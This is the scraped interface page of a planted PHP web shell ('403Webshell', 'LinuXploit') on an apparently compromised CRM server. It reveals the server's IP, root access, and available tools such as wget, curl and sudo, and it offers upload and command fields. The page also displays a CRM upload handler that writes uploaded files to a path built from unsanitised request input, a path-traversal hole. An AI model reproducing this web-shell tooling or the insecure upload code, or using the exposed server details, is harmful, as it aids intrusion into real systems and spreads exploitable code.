403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.55
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crm_easylife/modules/CTMobileSettings/actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crm_easylife/modules/CTMobileSettings/actions/SaveModuleIcons.php
<?php
/*+*******************************************************************************
 * The content of this file is subject to the CRMTiger Pro license.
 * ("License"); You may not use this file except in compliance with the License
 * The Initial Developer of the Original Code is vTiger
 * The Modified Code of the Original Code owned by https://crmtiger.com/
 * Portions created by CRMTiger.com are Copyright(C) CRMTiger.com
 * All Rights Reserved.
  ***************************************************************************** */
class CTMobileSettings_SaveModuleIcons_Action extends Vtiger_Save_Action {

	public function process(Vtiger_Request $request) {
		global $root_directory;
		$IconModule = $request->get('IconModule');
		if(!empty($_FILES['moduleIcon']['name']) && !empty($IconModule)) {
			$destinationpath = $root_directory.'modules/CTMobile/MobileIcon/'.$IconModule.'.png';
			if(file_exists($destinationpath)){
				unlink($destinationpath);
			}
			$upload_status = move_uploaded_file($_FILES['moduleIcon']['tmp_name'],$destinationpath);
		}
		$reloadUrl = 'index.php?module=CTMobileSettings&parent=Settings&view=ModuleIcons';
		header('Location: ' . $reloadUrl);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit